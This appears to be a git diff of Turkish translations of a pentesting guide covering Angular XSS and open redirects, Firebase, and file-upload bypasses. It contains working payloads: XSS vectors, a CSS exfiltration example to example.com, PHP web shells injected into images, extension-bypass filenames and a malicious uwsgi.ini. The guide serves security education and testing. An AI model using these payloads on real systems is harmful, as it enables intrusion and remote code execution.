Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşlemek için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilmişse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.
Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşleştirdikleri için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilirse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.
Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Sources (veya Debugger ve Sources) → \[id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda `//# sourceMappingURL=[id].main.js.map` satırını içerebilir veya **hidden** seçeneği **true** olarak ayarlandığında içermeyebilir. Yine de, **scripts** için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında `ng build --source-map` gibi etkinleştirilebilir.
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//sonuç
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml`, verilen değerin güvenli bir HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
3. `bypassSecurityTrustHtml`, verilen değerin güvenli HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına `script` öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
```jsx
//app.component.ts
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html etiketi</h1>
<h1>html etiketi</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript`, verilen değerin güvenli bir JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütme konusunda öngörülemez bir davranış bulduk.
4. `bypassSecurityTrustScript`, verilen değerin güvenli JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütmenin mümkün olmadığını gördük, bu nedenle davranışının öngörülemez olduğunu bulduk.
```jsx
//app.component.ts
@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//sonuç
-
```
5. `bypassSecurityTrustStyle`, verilen değerin güvenli bir CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
5. `bypassSecurityTrustStyle`, verilen değerin güvenli CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
```jsx
//app.component.ts
@ -187,11 +187,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular, verileri görüntülemeden önce temizlemek için bir `sanitize` yöntemi sağlar. Bu yöntem, sağlanan güvenlik bağlamını kullanır ve girişi buna göre temizler. Ancak, belirli veri ve bağlam için doğru güvenlik bağlamını kullanmak çok önemlidir. Örneğin, HTML içeriği üzerinde `SecurityContext.URL` ile bir temizleyici uygulamak, tehlikeli HTML değerlerine karşı koruma sağlamaz. Bu tür senaryolarda, güvenlik bağlamının yanlış kullanımı XSS güvenlik açıklarına yol açabilir.
Angular, verileri görünümlerde görüntülemeden önce temizlemek için bir `sanitize` yöntemi sağlar. Bu yöntem, sağlanan güvenlik bağlamını kullanır ve girişi buna göre temizler. Ancak, belirli veri ve bağlam için doğru güvenlik bağlamını kullanmak çok önemlidir. Örneğin, HTML içeriği üzerinde `SecurityContext.URL` ile bir temizleyici uygulamak, tehlikeli HTML değerlerine karşı koruma sağlamaz. Bu tür senaryolarda, güvenlik bağlamının yanlış kullanımı XSS güvenlik açıklarına yol açabilir.
### HTML enjeksiyonu
Bu güvenlik açığı, kullanıcı girişinin `innerHTML`, `outerHTML` veya `iframe` `srcdoc` gibi üç özellikten birine bağlandığında meydana gelir. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak cross-site scripting (XSS) mümkün değildir.
Bu güvenlik açığı, kullanıcı girişi herhangi bir üç özellikten birine bağlandığında meydana gelir: `innerHTML`, `outerHTML` veya `iframe` `srcdoc`. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş `SecurityContext.HTML` kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak cross-site scripting (XSS) mümkün değildir.
`innerHTML` kullanma örneği:
```jsx
@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler (`{{}}`) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, `{{1+1}}` gibi bir şablon 2 olarak görüntülenecektir.
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini kaçırır (örneğin, \`< > ' " \`\` gibi karakterler). Bu, yasaklı karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, \`< > ' " \`\` gibi karakterler) kaçışlar. Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -227,7 +227,7 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder ve bize String constructor'ı çağırma ve rastgele kod yürütme imkanı tanır.
Yukarıda gösterildiği gibi: `constructor`, Object `constructor` özelliğinin kapsamını ifade eder, bu da bize String constructor'ını çağırma ve rastgele kod yürütme imkanı tanır.
#### Sunucu Tarafı Render (SSR)
@ -292,7 +292,7 @@ document.body.appendChild(a);
```
#### Angular sınıfları
Angular'da DOM öğeleri ile çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın detaylııklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki ana fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır, oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: `ElementRef`, `Renderer2`, `Location` ve `Document`. Son iki sınıfın ayrıntılııklaması **Açık yönlendirmeler** bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, `Renderer2` API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa `ElementRef` sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, `ElementRef` API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.
* `ElementRef`, DOM öğelerini manipüle etmek için kullanılabilecek `nativeElement` özelliğini içerir. Ancak, `nativeElement`'in yanlış kullanımı, aşağıda gösterildiği gibi bir XSS enjeksiyon açığına yol açabilir:
@ -375,9 +375,9 @@ Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak `
#### jQuery
jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına yol açmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına ulaşmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılmasıyla gerçekleşebilir.
* `html()` yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, `<script>` etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılması yoluyla gerçekleşebilir.
```tsx
//app.component.ts
@ -404,13 +404,13 @@ $("p").html("<script>alert(1)</script>");
<button>Click me</button>
<p>some text here</p>
```
* `jQuery.parseHTML()` yöntemi, dizeyi bir dizi DOM düğümüne dönüştürmek için yerel yöntemleri kullanır; bu düğümler daha sonra belgeye eklenebilir.
* `jQuery.parseHTML()` yöntemi, dizeyi bir dizi DOM düğümüne dönüştürmek için yerel yöntemler kullanır; bu düğümler daha sonra belgeye eklenebilir.
```tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
Daha önce belirtildiği gibi, HTML dizelerini kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts`ıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. `jQuery.parseHTML()` yöntemi, `keepScripts`ıkça `true` olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, `<img onerror>` niteliği aracılığıyla.
```tsx
//app.component.ts
@ -446,7 +446,7 @@ $palias.append(html);
#### DOM arayüzleri
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulaması vardır; bu da aşağıda belirtilen `javascript://` şeması saldırıları ileık yönlendirme ve DOM XSS'e neden olabilir.
W3C belgelerine göre, `window.location` ve `document.location` nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulamasına sahip olmaları, `javascript://` şeması saldırılarıylaık yönlendirme ve DOM XSS'e neden olabilir.
* `window.location.href`(ve `document.location.href`)
@ -465,7 +465,7 @@ window.location.href = "https://google.com/about"
<button type="button" (click)="goToUrl()">Click me!</button>
```
İstismar süreci, aşağıdaki senaryolar için aynıdır.
Aşağıdaki senaryolar için istismar süreci aynıdır.
* `window.location.assign()`(ve `document.location.assign()`)
Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesini ve görüntülemesini sağlar. Bu yöntemi kontrol edersek, açık yönlendirme saldırısı için bir hedef olabilir.
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular sınıfları
* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da Angular'da istemci tarafııklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, aşağıdaki örnekte gösterildiği gibi başarılıık yönlendirme saldırıları için hedef olabilir:
* Angular belgelerine göre, Angular `Document`, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafııklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. `Document.location` özellikleri ve yöntemleri, başarılıık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi:
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulamadık. `Location`, uygulamaların bir tarayıcının mevcut URL'si ile etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
* Araştırma aşamasında, açık yönlendirme açıkları için Angular `Location` sınıfını da inceledik, ancak geçerli vektörler bulunamadı. `Location`, uygulamaların bir tarayıcının mevcut URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - `go()`, `replaceState()` ve `prepareExternalUrl()`. Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
```tsx
//app.component.ts
@ -597,7 +597,7 @@ this.router.navigateByUrl('URL')
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Örneği: Angular'da DOM Manipülasyonu - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
* [jQuery API Belgeleri](http://api.jquery.com/)
* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerekirse)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular ile jQuery Nasıl Kullanılır (Kesinlikle Gerektiğinde)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
* [Angular Belgesi](https://angular.io/api/common/DOCUMENT)
* [Angular Konumu](https://angular.io/api/common/Location)
* [Angular Yönlendirici](https://angular.io/api/router/Router)

View File

@ -4,7 +4,7 @@
## Firebase Nedir
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK ve birçok diğer ilginç şeyler sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
Firebase, esasen mobil uygulamalar için bir Backend-as-a-Service'dir. Uygulama ile arka uç arasındaki etkileşimi kolaylaştıran güzel bir SDK'nın yanı sıra birçok ilginç şeyi sunarak arka uç programlamanın yükünü ortadan kaldırmaya odaklanmıştır.
Firebase hakkında daha fazla bilgi edinin:

View File

@ -21,7 +21,7 @@ Diğer yararlı uzantılar:
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
- _file.png.php_
- _file.png.Php5_
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_)
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
- _file._
- _file.php...._
- _file.pHp5...._
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlamayı deneyin, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,16 +43,16 @@ Diğer yararlı uzantılar:
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır; _**.php**_ ile bitmese de kod çalıştırır):
6. **Geçerli uzantıdan önce yürütme uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmese de kodu çalıştırır):
- _ör: file.php.png_
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adı kullanılarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenden sonra bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin veriyor. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Yükü oluşturun
@ -67,17 +67,17 @@ AAA<--SNIP 232 A-->AAA.php.png
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya yükü doğrudan bir resme de **ekleyebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metinler eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metinler eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- Resim yeniden boyutlandırmayı **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metinler eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Diğer Kontrol Edilecek Hileler
- Yüklenmiş dosyanın adını **değiştirmek** için bir zafiyet bulun (uzantıyı değiştirmek için).
- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için.
- Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
- **Olası Bilgi sızıntısı**:
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
@ -85,16 +85,16 @@ AAA<--SNIP 232 A-->AAA.php.png
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
- Ayrıca **çalıştırılabilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin; bu dosya, kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
- Ayrıca, **bir yürütülebilir** (.exe) veya **.html** (daha az şüpheli) bir dosya yüklemeyi deneyin, bu dosya kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**.
### Özel uzantı hileleri
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, birisi **bu uzantının çalıştırılmasına izin vermiş olabilir**.
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
## **Jetty RCE**
@ -106,9 +106,9 @@ Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür; bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün; çeşitli şemaları göstermektedir:
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün, çeşitli şemaları sergileyen:
```ini
[uwsgi]
; read from a symbol
@ -128,11 +128,11 @@ characters = @(call://uwsgi_func)
```
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
